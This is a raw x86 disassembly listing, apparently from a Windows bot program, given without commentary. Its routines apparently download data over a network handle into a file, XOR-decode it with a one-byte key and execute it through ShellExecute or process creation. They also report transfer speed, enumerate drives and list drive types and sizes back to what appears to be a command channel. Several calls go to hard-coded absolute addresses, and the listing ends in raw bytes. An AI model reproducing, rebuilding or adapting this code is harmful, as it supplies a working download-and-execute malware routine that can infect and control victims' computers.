		call	near ptr 26F0000h
		push	esi
		lea	eax, [ebp-0A04h]
		push	dword ptr [ebp-4]
		push	eax
		push	dword ptr [ebp-1F8h]
		call	dword_4CB674
		mov	[ebp-4], eax
		push	esi
		cdq
		add	[ebp-10h], eax
		lea	eax, [ebp-0A04h]
		push	edi
		push	eax
		push	dword ptr [ebp-1F8h]
		adc	[ebp-0Ch], edx
		call	dword_4CB63C
		cmp	eax, ebx
		jl	loc_41617B
		mov	eax, [ebp-4]
		cmp	eax, ebx
		jl	loc_41617B
		sub	[ebp+8], eax
		jnz	loc_416049
		mov	edi, [ebp-18h]


loc_4160E6:				; CODE XREF: ___:0041603Ej
		push	dword ptr [ebp-8]
		nop
		call	near ptr 2650937h
		push	dword ptr [ebp-0Ch]
		push	dword ptr [ebp-10h]
		call	sub_416922
		pop	ecx
		pop	ecx
		push	eax
		push	dword ptr [ebp-44h]
		call	dword_4CB6B0
		push	eax
		lea	eax, [ebp-1E0h]
		push	eax
		lea	eax, [ebp-3FCh]
		push	offset unk_437B70
		push	eax
		call	sub_41B886


loc_41611F:				; CODE XREF: ___:00415FF6j
		add	esp, 14h


loc_416122:				; CODE XREF: ___:0041602Fj
		cmp	[ebp-50h], esi
		jnz	short loc_416147
		push	esi
		lea	eax, [ebp-3FCh]
		push	dword ptr [ebp-54h]
		push	eax
		lea	eax, [ebp-0DCh]
		push	eax
		push	dword ptr [ebp-1FCh]
		call	sub_409A72
		add	esp, 14h


loc_416147:				; CODE XREF: ___:00416125j
		lea	eax, [ebp-3FCh]
		push	eax
		call	sub_4151AC
		cmp	edi, esi
		pop	ecx
		jbe	short loc_41615F
		push	edi
		call	dword_4CB6BC


loc_41615F:				; CODE XREF: ___:00416156j
		push	dword ptr [ebp-1F8h]
		call	dword_4CB6BC
		push	dword ptr [ebp-58h]
		call	sub_40B412
		pop	ecx
		push	esi
		nop
		call	near ptr 26D0000h


loc_41617B:				; CODE XREF: ___:004160C9j
					; ___:004160D4j
		push	esi
		mov	esi, offset dword_437B58
		push	dword ptr [ebp-54h]
		lea	eax, [ebp-0DCh]
		push	esi
		push	eax
		push	dword ptr [ebp-1FCh]
		call	sub_409A72
		push	esi
		call	sub_4151AC
		add	esp, 18h
		push	dword ptr [ebp-1F8h]
		call	dword_4CB6BC
		push	dword ptr [ebp-58h]
		call	sub_40B412
		pop	ecx
		push	ebx
		call	near ptr 26D0000h
		nop


loc_4161BC:				; DATA XREF: sub_401ACD+7B4o
		push	ebp
		mov	ebp, esp
		mov	eax, 14C4h
		call	sub_41BB20
		mov	eax, [ebp+8]
		push	ebx
		push	esi
		push	edi
		push	6Dh
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp-1C0h]
		rep movsd
		push	1
		xor	ebx, ebx
		pop	esi
		mov	[ebp-8], ebx
		mov	[eax+1B0h], esi
		lea	eax, [ebp-2C4h]
		push	104h
		push	eax
		call	near ptr 2670000h
		nop
		lea	eax, [ebp-1A4h]
		push	eax
		lea	eax, [ebp-2C4h]
		push	eax
		lea	eax, [ebp-2C4h]
		push	offset dword_429A94
		push	eax
		call	sub_41B886
		add	esp, 10h
		lea	eax, [ebp-2C4h]
		push	ebx
		push	80h
		push	2
		push	ebx
		push	esi
		push	40000000h
		push	eax
		nop
		call	near ptr 26F0864h
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_416246
		push	offset unk_437CD4
		jmp	short loc_41628C
; ---------------------------------------------------------------------------


loc_416246:				; CODE XREF: ___:0041623Dj
		push	eax
		nop
		call	near ptr 2650937h
		lea	eax, [ebp-2C4h]
		push	offset aAB	; "a+b"
		push	eax
		call	sub_41B4C2
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		mov	[ebp-4], eax
		jnz	short loc_41626E
		push	offset unk_437CA4
		jmp	short loc_41628C
; ---------------------------------------------------------------------------


loc_41626E:				; CODE XREF: ___:00416265j
		push	dword ptr [ebp-20h]
		lea	eax, [ebp-1B8h]
		push	eax
		call	sub_415BD3
		pop	ecx
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		mov	[ebp+8], eax
		jnz	short loc_41629F
		push	offset unk_437C84


loc_41628C:				; CODE XREF: ___:00416244j
					; ___:0041626Cj
		lea	eax, [ebp-4C4h]
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx
		jmp	loc_41639B
; ---------------------------------------------------------------------------


loc_41629F:				; CODE XREF: ___:00416285j
		mov	esi, 1000h


loc_4162A4:				; CODE XREF: ___:0041630Aj
		push	esi
		lea	eax, [ebp-14C4h]
		push	ebx
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		lea	eax, [ebp-14C4h]
		push	ebx
		push	esi
		push	eax
		push	dword ptr [ebp+8]
		call	dword_4CB63C
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_41636B
		cmp	edi, 0FFFFFFFFh
		jz	short loc_41630C
		push	dword ptr [ebp-4]
		lea	eax, [ebp-14C4h]
		push	edi
		push	1
		push	eax
		call	sub_41D2B4
		add	[ebp-8], edi
		add	esp, 10h
		push	dword ptr [ebp-8]
		call	dword_4CB620
		mov	[ebp-0Ch], eax
		push	ebx
		lea	eax, [ebp-0Ch]
		push	4
		push	eax
		push	dword ptr [ebp+8]
		call	dword_4CB674
		jmp	short loc_4162A4
; ---------------------------------------------------------------------------


loc_41630C:				; CODE XREF: ___:004162D4j
		lea	eax, [ebp-4C4h]
		push	offset dword_437B58
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp-4C4h]
		push	dword ptr [ebp-18h]
		push	eax
		lea	eax, [ebp-0A0h]
		push	eax
		push	dword ptr [ebp-1C0h]
		call	sub_409A72
		lea	eax, [ebp-4C4h]
		push	eax
		call	sub_4151AC
		push	dword ptr [ebp-4]
		call	sub_41B05B
		add	esp, 24h
		push	dword ptr [ebp+8]
		call	dword_4CB6BC
		push	dword ptr [ebp-1Ch]
		call	sub_40B412
		pop	ecx
		push	1
		call	near ptr 26D0000h
		nop


loc_41636B:				; CODE XREF: ___:004162CBj
		mov	eax, [ebp-8]
		cdq
		push	edx
		push	eax
		call	sub_416922
		pop	ecx
		pop	ecx
		push	eax
		lea	eax, [ebp-1B8h]
		push	eax
		lea	eax, [ebp-1A4h]
		push	eax
		lea	eax, [ebp-4C4h]
		push	offset unk_437C58
		push	eax
		call	sub_41B886
		add	esp, 14h


loc_41639B:				; CODE XREF: ___:0041629Aj
		cmp	[ebp-14h], ebx
		jnz	short loc_4163C0
		push	ebx
		lea	eax, [ebp-4C4h]
		push	dword ptr [ebp-18h]
		push	eax
		lea	eax, [ebp-0A0h]
		push	eax
		push	dword ptr [ebp-1C0h]
		call	sub_409A72
		add	esp, 14h


loc_4163C0:				; CODE XREF: ___:0041639Ej
		lea	eax, [ebp-4C4h]
		push	eax
		call	sub_4151AC
		cmp	[ebp-4], ebx
		pop	ecx
		jz	short loc_4163DB
		push	dword ptr [ebp-4]
		call	sub_41B05B
		pop	ecx


loc_4163DB:				; CODE XREF: ___:004163D0j
		cmp	[ebp+8], ebx
		jbe	short loc_4163E9
		push	dword ptr [ebp+8]
		call	dword_4CB6BC


loc_4163E9:				; CODE XREF: ___:004163DEj
		push	dword ptr [ebp-1Ch]
		call	sub_40B412
		pop	ecx
		push	ebx
		nop
		call	near ptr 26D0000h


loc_4163F9:				; DATA XREF: sub_401ACD+6279o
					; sub_401ACD+6AB9o
		push	ebp
		mov	ebp, esp
		sub	esp, 510h
		mov	eax, [ebp+8]
		push	ebx
		push	esi
		push	edi
		mov	ecx, 0AAh
		mov	esi, eax
		lea	edi, [ebp-2CCh]
		push	1
		rep movsd
		pop	edi
		xor	esi, esi
		push	esi
		mov	[eax+2A4h], edi
		push	esi
		push	esi
		lea	eax, [ebp-248h]
		push	esi
		push	eax
		push	dword_4CB5D4
		call	dword_4CB528
		cmp	eax, esi
		mov	[ebp-18h], eax
		jz	loc_416885
		push	esi
		push	esi
		push	2
		push	esi
		push	esi
		lea	eax, [ebp-148h]
		push	40000000h
		push	eax
		nop
		call	near ptr 26F0864h
		cmp	eax, edi
		mov	[ebp-20h], eax
		jnb	short loc_4164C0
		lea	eax, [ebp-148h]
		push	eax
		lea	eax, [ebp-510h]
		push	offset unk_437EA0
		push	eax
		call	sub_41B886
		add	esp, 0Ch
		cmp	[ebp-30h], esi
		jnz	short loc_4164A3
		push	esi
		lea	eax, [ebp-510h]
		push	dword ptr [ebp-2Ch]
		push	eax
		lea	eax, [ebp-2C8h]
		push	eax
		push	dword ptr [ebp-2CCh]
		call	sub_409A72
		add	esp, 14h


loc_4164A3:				; CODE XREF: ___:00416481j
		lea	eax, [ebp-510h]
		push	eax
		call	sub_4151AC
		push	dword ptr [ebp-48h]
		call	sub_40B412
		pop	ecx
		pop	ecx
		push	esi
		nop
		call	near ptr 26D0000h


loc_4164C0:				; CODE XREF: ___:00416461j
		xor	edi, edi
		nop
		call	near ptr 2680CE9h
		mov	ebx, 7D000h
		mov	[ebp-4], eax
		push	ebx
		call	sub_41B4D5
		pop	ecx
		mov	[ebp-1Ch], eax


loc_4164DA:				; CODE XREF: ___:004165ADj
		push	200h
		lea	eax, [ebp-510h]
		push	esi
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		lea	eax, [ebp+8]
		push	eax
		lea	eax, [ebp-510h]
		push	200h
		push	eax
		push	dword ptr [ebp-18h]
		call	dword_4CB530
		cmp	[ebp-34h], esi
		jz	short loc_41651E
		push	dword ptr [ebp+8]
		lea	eax, [ebp-510h]
		push	eax
		call	sub_4168EB
		pop	ecx
		pop	ecx


loc_41651E:				; CODE XREF: ___:0041650Bj
		lea	eax, [ebp-24h]
		push	esi
		push	eax
		lea	eax, [ebp-510h]
		push	dword ptr [ebp+8]
		push	eax
		push	dword ptr [ebp-20h]
		nop
		call	near ptr 26E0000h
		cmp	edi, ebx
		jnb	short loc_41655C
		mov	eax, ebx
		sub	eax, edi
		cmp	eax, [ebp+8]
		jbe	short loc_416546
		mov	eax, [ebp+8]


loc_416546:				; CODE XREF: ___:00416541j
		push	eax
		lea	eax, [ebp-510h]
		push	eax
		mov	eax, [ebp-1Ch]
		add	eax, edi
		push	eax
		call	sub_41C310
		add	esp, 0Ch


loc_41655C:				; CODE XREF: ___:00416538j
		add	edi, [ebp+8]
		cmp	[ebp-3Ch], esi
		jz	short loc_416569
		cmp	edi, [ebp-3Ch]
		ja	short loc_4165B3


loc_416569:				; CODE XREF: ___:00416562j
		cmp	dword ptr [ebp-44h], 1
		mov	eax, edi
		jz	short loc_416583
		shr	eax, 0Ah
		push	eax
		lea	eax, [ebp-248h]
		push	eax
		push	offset unk_437E78
		jmp	short loc_416593
; ---------------------------------------------------------------------------


loc_416583:				; CODE XREF: ___:0041656Fj
		shr	eax, 0Ah
		push	eax
		lea	eax, [ebp-248h]
		push	eax
		push	offset unk_437E50


loc_416593:				; CODE XREF: ___:00416581j
		mov	eax, [ebp-48h]
		imul	eax, 234h
		add	eax, offset dword_43E360
		push	eax
		call	sub_41B886
		add	esp, 10h
		cmp	[ebp+8], esi
		ja	loc_4164DA


loc_4165B3:				; CODE XREF: ___:00416567j
		cmp	[ebp-3Ch], esi
		mov	dword ptr [ebp-14h], 1
		jz	short loc_416608
		cmp	edi, [ebp-3Ch]
		jz	short loc_416608
		push	dword ptr [ebp-3Ch]
		lea	eax, [ebp-510h]
		mov	[ebp-14h], esi
		push	edi
		push	offset unk_437E24
		push	eax
		call	sub_41B886
		push	esi
		lea	eax, [ebp-510h]
		push	dword ptr [ebp-2Ch]
		push	eax
		lea	eax, [ebp-2C8h]
		push	eax
		push	dword ptr [ebp-2CCh]
		call	sub_409A72
		lea	eax, [ebp-510h]
		push	eax
		call	sub_4151AC
		add	esp, 28h


loc_416608:				; CODE XREF: ___:004165BDj
					; ___:004165C2j
		call	near ptr 2680CE9h
		nop
		sub	eax, [ebp-4]
		xor	edx, edx
		mov	ecx, 3E8h
		push	dword ptr [ebp-20h]
		div	ecx
		xor	edx, edx
		mov	ecx, eax
		mov	eax, edi
		inc	ecx
		div	ecx
		mov	ebx, eax
		nop
		call	near ptr 2650937h
		push	dword ptr [ebp-1Ch]
		call	sub_41B0B1
		cmp	[ebp-38h], esi
		pop	ecx
		jz	short loc_416692
		lea	eax, [ebp-148h]
		push	eax
		call	sub_4010AB
		cmp	eax, [ebp-38h]
		pop	ecx
		jz	short loc_416692
		push	dword ptr [ebp-38h]
		mov	[ebp-14h], esi
		push	eax
		lea	eax, [ebp-510h]
		push	offset unk_437DFC
		push	eax
		call	sub_41B886
		push	esi
		lea	eax, [ebp-510h]
		push	dword ptr [ebp-2Ch]
		push	eax
		lea	eax, [ebp-2C8h]
		push	eax
		push	dword ptr [ebp-2CCh]
		call	sub_409A72
		lea	eax, [ebp-510h]
		push	eax
		call	sub_4151AC
		add	esp, 28h


loc_416692:				; CODE XREF: ___:0041663Aj
					; ___:0041664Cj
		cmp	[ebp-14h], esi
		jz	loc_4168D2
		cmp	dword ptr [ebp-44h], 1
		jz	loc_41678D
		mov	[ebp-8], ebx
		mov	[ebp-4], esi
		fild	qword ptr [ebp-8]
		push	ecx
		push	ecx
		mov	[ebp-8], edi
		mov	[ebp-4], esi
		fmul	dbl_4276B0
		lea	eax, [ebp-148h]
		fstp	qword ptr [esp]
		fild	qword ptr [ebp-8]
		push	eax
		push	ecx
		push	ecx
		lea	eax, [ebp-510h]
		fmul	dbl_4276B0
		fstp	qword ptr [esp]
		push	offset unk_437DC4
		push	eax
		call	sub_41B886
		add	esp, 1Ch
		cmp	[ebp-30h], esi
		jnz	short loc_41670D
		push	esi
		lea	eax, [ebp-510h]
		push	dword ptr [ebp-2Ch]
		push	eax
		lea	eax, [ebp-2C8h]
		push	eax
		push	dword ptr [ebp-2CCh]
		call	sub_409A72
		add	esp, 14h


loc_41670D:				; CODE XREF: ___:004166EBj
		lea	eax, [ebp-510h]
		push	eax
		call	sub_4151AC
		cmp	dword ptr [ebp-40h], 1
		pop	ecx
		jnz	loc_4168D2
		push	5
		push	esi
		lea	eax, [ebp-148h]
		push	esi
		push	eax
		push	offset aOpen	; "open"
		push	esi
		call	dword_4CB590
		cmp	[ebp-30h], esi
		jnz	loc_4168D2
		lea	eax, [ebp-148h]
		push	eax
		lea	eax, [ebp-510h]
		push	offset dword_437DA8
		push	eax
		call	sub_41B886
		push	esi
		lea	eax, [ebp-510h]
		push	dword ptr [ebp-2Ch]
		push	eax
		lea	eax, [ebp-2C8h]
		push	eax
		push	dword ptr [ebp-2CCh]
		call	sub_409A72
		lea	eax, [ebp-510h]
		push	eax
		call	sub_4151AC
		add	esp, 24h
		jmp	loc_4168D2
; ---------------------------------------------------------------------------


loc_41678D:				; CODE XREF: ___:0041669Fj
		mov	[ebp-8], ebx
		mov	[ebp-4], esi
		fild	qword ptr [ebp-8]
		push	ecx
		push	ecx
		mov	[ebp-8], edi
		mov	[ebp-4], esi
		fmul	dbl_4276B0
		lea	eax, [ebp-148h]
		fstp	qword ptr [esp]
		fild	qword ptr [ebp-8]
		push	eax
		push	ecx
		push	ecx
		lea	eax, [ebp-510h]
		fmul	dbl_4276B0
		fstp	qword ptr [esp]
		push	offset unk_437D64
		push	eax
		call	sub_41B886
		add	esp, 1Ch
		cmp	[ebp-30h], esi
		jnz	short loc_4167F5
		push	esi
		lea	eax, [ebp-510h]
		push	dword ptr [ebp-2Ch]
		push	eax
		lea	eax, [ebp-2C8h]
		push	eax
		push	dword ptr [ebp-2CCh]
		call	sub_409A72
		add	esp, 14h


loc_4167F5:				; CODE XREF: ___:004167D3j
		lea	eax, [ebp-510h]
		push	eax
		call	sub_4151AC
		push	10h
		lea	eax, [ebp-10h]
		push	esi
		push	eax
		call	sub_41B590
		push	44h
		lea	eax, [ebp-310h]
		pop	edi
		push	edi
		push	esi
		push	eax
		call	sub_41B590
		add	esp, 1Ch
		mov	[ebp-310h], edi
		lea	eax, [ebp-10h]
		mov	dword ptr [ebp-304h], offset dword_43D7D8
		push	1
		mov	[ebp-2E0h], si
		pop	edi
		push	eax
		lea	eax, [ebp-310h]
		push	eax
		push	esi
		push	esi
		push	28h
		push	esi
		push	esi
		lea	eax, [ebp-148h]
		push	esi
		push	eax
		push	esi
		mov	[ebp-2E4h], edi
		nop
		call	near ptr 2650CB8h
		cmp	eax, edi
		jnz	short loc_416877
		call	dword_4CB57C
		call	sub_418359
		push	esi
		nop
		call	near ptr 77E75CB5h


loc_416877:				; CODE XREF: ___:00416863j
		lea	eax, [ebp-148h]
		push	eax
		push	offset unk_437D30
		jmp	short loc_416891
; ---------------------------------------------------------------------------


loc_416885:				; CODE XREF: ___:0041643Ej
		lea	eax, [ebp-248h]
		push	eax
		push	offset unk_437D04


loc_416891:				; CODE XREF: ___:00416883j
		lea	eax, [ebp-510h]
		push	eax
		call	sub_41B886
		add	esp, 0Ch
		cmp	[ebp-30h], esi
		jnz	short loc_4168C5
		push	esi
		lea	eax, [ebp-510h]
		push	dword ptr [ebp-2Ch]
		push	eax
		lea	eax, [ebp-2C8h]
		push	eax
		push	dword ptr [ebp-2CCh]
		call	sub_409A72
		add	esp, 14h


loc_4168C5:				; CODE XREF: ___:004168A3j
		lea	eax, [ebp-510h]
		push	eax
		call	sub_4151AC
		pop	ecx


loc_4168D2:				; CODE XREF: ___:00416695j
					; ___:0041671Ej ...
		push	dword ptr [ebp-18h]
		call	dword_4CB658
		push	dword ptr [ebp-48h]
		call	sub_40B412
		pop	ecx
		push	esi
		nop
		call	near ptr 26D0000h

; =============== S U B	R O U T	I N E =======================================



sub_4168EB	proc near		; CODE XREF: ___:00416517p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		xor	ecx, ecx
		cmp	[esp+arg_4], ecx
		jle	short locret_416907


loc_4168F7:				; CODE XREF: sub_4168EB+1Aj
		mov	dl, byte_429094
		xor	[ecx+eax], dl
		inc	ecx
		cmp	ecx, [esp+arg_4]
		jl	short loc_4168F7

locret_416907:				; CODE XREF: sub_4168EB+Aj
		retn
sub_4168EB	endp


; =============== S U B	R O U T	I N E =======================================



sub_416908	proc near		; CODE XREF: sub_401ACD+5841p
					; sub_401ACD+5969p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	[esp+arg_4]
		push	[esp+4+arg_0]
		call	sub_41D3BE
		pop	ecx
		pop	ecx
		xor	ecx, ecx
		cmp	eax, 0FFFFFFFFh
		setnz	cl
		mov	eax, ecx
		retn
sub_416908	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_416922	proc near		; CODE XREF: sub_40F96A+458p
					; sub_40F96A+5FDp ...

var_38		= byte ptr -38h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 38h
		and	[ebp+var_4], 0
		push	ebx
		push	esi
		push	edi
		push	32h
		mov	edi, offset dword_4D3258
		push	0
		push	edi
		call	sub_41B590
		mov	ebx, [ebp+arg_0]
		add	esp, 0Ch
		lea	esi, [ebp+var_38]


loc_416947:				; CODE XREF: sub_416922+5Bj
					; sub_416922+61j
		push	0
		push	0Ah
		push	[ebp+arg_4]
		push	ebx
		call	sub_41D480
		push	0
		push	0Ah
		push	[ebp+arg_4]
		add	al, 30h
		mov	[esi], al
		inc	esi
		push	ebx
		call	sub_41D410
		mov	ebx, eax
		or	eax, edx
		mov	[ebp+arg_4], edx
		jz	short loc_416985
		inc	[ebp+var_4]
		push	3
		mov	eax, [ebp+var_4]
		pop	ecx
		cdq
		idiv	ecx
		test	edx, edx
		jnz	short loc_416947
		mov	byte ptr [esi],	2Ch
		inc	esi
		jmp	short loc_416947
; ---------------------------------------------------------------------------


loc_416985:				; CODE XREF: sub_416922+4Bj
		dec	esi
		mov	eax, edi


loc_416988:				; CODE XREF: sub_416922+73j
		lea	ecx, [ebp+var_38]
		cmp	esi, ecx
		jb	short loc_416997
		mov	cl, [esi]
		mov	[eax], cl
		inc	eax
		dec	esi
		jmp	short loc_416988
; ---------------------------------------------------------------------------


loc_416997:				; CODE XREF: sub_416922+6Bj
		and	byte ptr [eax],	0
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_416922	endp


; =============== S U B	R O U T	I N E =======================================



sub_4169A1	proc near		; CODE XREF: sub_416B56+51p
					; sub_416B56+87p

arg_0		= dword	ptr  4

		push	[esp+arg_0]
		call	dword_4CB684
		sub	eax, 0
		jz	short loc_4169E4
		dec	eax
		jz	short loc_4169DE
		dec	eax
		dec	eax
		jz	short loc_4169D8
		dec	eax
		jz	short loc_4169D2
		dec	eax
		jz	short loc_4169CC
		dec	eax
		jz	short loc_4169C6
		mov	eax, offset word_437EF4
		retn
; ---------------------------------------------------------------------------


loc_4169C6:				; CODE XREF: sub_4169A1+1Dj
		mov	eax, offset off_437EF0
		retn
; ---------------------------------------------------------------------------


loc_4169CC:				; CODE XREF: sub_4169A1+1Aj
		mov	eax, offset aCdrom ; "Cdrom"
		retn
; ---------------------------------------------------------------------------


loc_4169D2:				; CODE XREF: sub_4169A1+17j
		mov	eax, offset aNetwork ; "Network"
		retn
; ---------------------------------------------------------------------------


loc_4169D8:				; CODE XREF: sub_4169A1+14j
		mov	eax, offset aDisk ; "Disk"
		retn
; ---------------------------------------------------------------------------


loc_4169DE:				; CODE XREF: sub_4169A1+10j
		mov	eax, offset aInvalid ; "Invalid"
		retn
; ---------------------------------------------------------------------------


loc_4169E4:				; CODE XREF: sub_4169A1+Dj
		mov	eax, offset aUnknown ; "Unknown"
		retn
sub_4169A1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4169EA	proc near		; CODE XREF: sub_416A32+12p

var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		or	eax, 0FFFFFFFFh
		mov	[ebp+var_18], eax
		mov	[ebp+var_14], eax
		mov	[ebp+var_10], eax
		mov	[ebp+var_C], eax
		mov	[ebp+var_8], eax
		mov	[ebp+var_4], eax
		mov	eax, dword_4CB514
		test	eax, eax
		jz	short loc_416A1F
		lea	ecx, [ebp+var_10]
		push	ecx
		lea	ecx, [ebp+var_8]
		push	ecx
		lea	ecx, [ebp+var_18]
		push	ecx
		push	[ebp+arg_4]
		call	eax


loc_416A1F:				; CODE XREF: sub_4169EA+22j
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	6
		pop	ecx
		lea	esi, [ebp+var_18]
		mov	edi, eax
		rep movsd
		pop	edi
		pop	esi
		leave
		retn
sub_4169EA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_416A32	proc near		; CODE XREF: sub_416B56+17p
					; sub_41AA42+1F3p

var_198		= byte ptr -198h
var_118		= byte ptr -118h
var_98		= byte ptr -98h
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 198h
		push	esi
		push	edi
		push	[ebp+arg_4]
		lea	eax, [ebp+var_18]
		push	eax
		call	sub_4169EA
		pop	ecx
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_18]
		push	6
		pop	ecx
		rep movsd
		mov	eax, [ebp+var_18]
		and	eax, [ebp+var_14]
		cmp	eax, 0FFFFFFFFh
		jz	loc_416B10
		mov	eax, [ebp+var_10]
		and	eax, [ebp+var_C]
		cmp	eax, 0FFFFFFFFh
		jz	loc_416B10
		mov	eax, [ebp+var_8]
		and	eax, [ebp+var_4]
		cmp	eax, 0FFFFFFFFh
		jz	loc_416B10
		push	ebx
		mov	ebx, 400h
		push	0
		push	ebx
		push	[ebp+var_14]
		push	[ebp+var_18]
		call	sub_41D500
		push	edx
		push	eax
		call	sub_416922
		pop	ecx
		mov	edi, offset aSkb ; "%sKB"
		pop	ecx
		mov	esi, 80h
		push	eax
		push	edi
		lea	eax, [ebp+var_198]
		push	esi
		push	eax
		call	sub_41B980
		add	esp, 10h
		push	0
		push	ebx
		push	[ebp+var_C]
		push	[ebp+var_10]
		call	sub_41D500
		push	edx
		push	eax
		call	sub_416922
		pop	ecx
		pop	ecx
		push	eax
		push	edi
		lea	eax, [ebp+var_118]
		push	esi
		push	eax
		call	sub_41B980
		add	esp, 10h
		push	0
		push	ebx
		push	[ebp+var_4]
		push	[ebp+var_8]
		call	sub_41D500
		push	edx
		push	eax
		call	sub_416922
		pop	ecx
		pop	ecx
		push	eax
		push	edi
		lea	eax, [ebp+var_98]
		push	esi
		push	eax
		call	sub_41B980
		add	esp, 10h
		pop	ebx
		jmp	short loc_416B42
; ---------------------------------------------------------------------------


loc_416B10:				; CODE XREF: sub_416A32+2Cj
					; sub_416A32+3Bj ...
		mov	esi, offset aFailed ; "failed"
		lea	eax, [ebp+var_198]
		push	esi
		push	eax
		call	sub_41B886
		pop	ecx
		lea	eax, [ebp+var_118]
		pop	ecx
		push	esi
		push	eax
		call	sub_41B886
		pop	ecx
		lea	eax, [ebp+var_98]
		pop	ecx
		push	esi
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx


loc_416B42:				; CODE XREF: sub_416A32+DCj
		mov	eax, [ebp+arg_0]
		push	60h
		pop	ecx
		lea	esi, [ebp+var_198]
		mov	edi, eax
		rep movsd
		pop	edi
		pop	esi
		leave
		retn
sub_416A32	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_416B56	proc near		; CODE XREF: sub_416C28+17p
					; sub_416C28+60p

var_500		= byte ptr -500h
var_300		= byte ptr -300h
var_180		= byte ptr -180h
var_100		= byte ptr -100h
var_80		= byte ptr -80h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 500h
		push	ebx
		mov	ebx, [ebp+arg_C]
		push	esi
		push	edi
		lea	eax, [ebp+var_300]
		push	ebx
		push	eax
		call	sub_416A32
		push	60h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_300]
		rep movsd
		push	60h
		lea	esi, [ebp+var_300]
		pop	ecx
		lea	edi, [ebp+var_180]
		lea	eax, [ebp+var_80]
		push	offset aFailed	; "failed"
		rep movsd
		push	eax
		call	sub_41C070
		add	esp, 10h
		test	eax, eax
		jnz	short loc_416BC9
		push	ebx
		push	ebx
		call	sub_4169A1
		pop	ecx
		push	eax
		push	offset unk_437F44
		lea	eax, [ebp+var_500]
		push	200h
		push	eax
		call	sub_41B980
		add	esp, 14h
		jmp	short loc_416BFD
; ---------------------------------------------------------------------------


loc_416BC9:				; CODE XREF: sub_416B56+4Dj
		lea	eax, [ebp+var_180]
		push	eax
		lea	eax, [ebp+var_100]
		push	eax
		lea	eax, [ebp+var_80]
		push	eax
		push	ebx
		push	ebx
		call	sub_4169A1
		pop	ecx
		push	eax
		push	offset unk_437F08
		lea	eax, [ebp+var_500]
		push	200h
		push	eax
		call	sub_41B980
		add	esp, 20h


loc_416BFD:				; CODE XREF: sub_416B56+71j
		push	1
		lea	eax, [ebp+var_500]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A72
		lea	eax, [ebp+var_500]
		push	eax
		call	sub_4151AC
		add	esp, 18h
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_416B56	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_416C28	proc near		; CODE XREF: sub_401ACD+2553p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ebx
		xor	ebx, ebx
		cmp	[ebp+arg_C], ebx
		jz	short loc_416C49
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_416B56
		add	esp, 10h
		jmp	short loc_416CAA
; ---------------------------------------------------------------------------


loc_416C49:				; CODE XREF: sub_416C28+9j
		push	esi
		push	edi
		push	ebx
		push	ebx
		call	dword_4CB58C
		lea	esi, [eax+2]
		push	esi
		call	sub_41B4D5
		pop	ecx
		mov	edi, eax
		push	edi
		push	esi
		call	dword_4CB58C
		cmp	[edi], bl
		mov	esi, edi
		jz	short loc_416CA1


loc_416C6D:				; CODE XREF: sub_416C28+77j
		push	offset aA_1	; "A:\\"
		push	esi
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_416C90
		push	esi
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_416B56
		add	esp, 10h


loc_416C90:				; CODE XREF: sub_416C28+54j
		push	esi
		call	sub_41AFE0
		cmp	[esi+eax+1], bl
		lea	esi, [esi+eax+1]
		pop	ecx
		jnz	short loc_416C6D


loc_416CA1:				; CODE XREF: sub_416C28+43j
		push	edi
		call	sub_41B0B1
		pop	ecx
		pop	edi
		pop	esi


loc_416CAA:				; CODE XREF: sub_416C28+1Fj
		pop	ebx
		pop	ebp
		retn
sub_416C28	endp

; ---------------------------------------------------------------------------
byte_416CAD	db 55h,	8Bh, 0ECh	; DATA XREF: sub_401ACD+689Fo
		dd 49CEC81h, 458B0000h,	57565308h, 0A7B9h, 8DF08B00h, 0FFFD64BDh
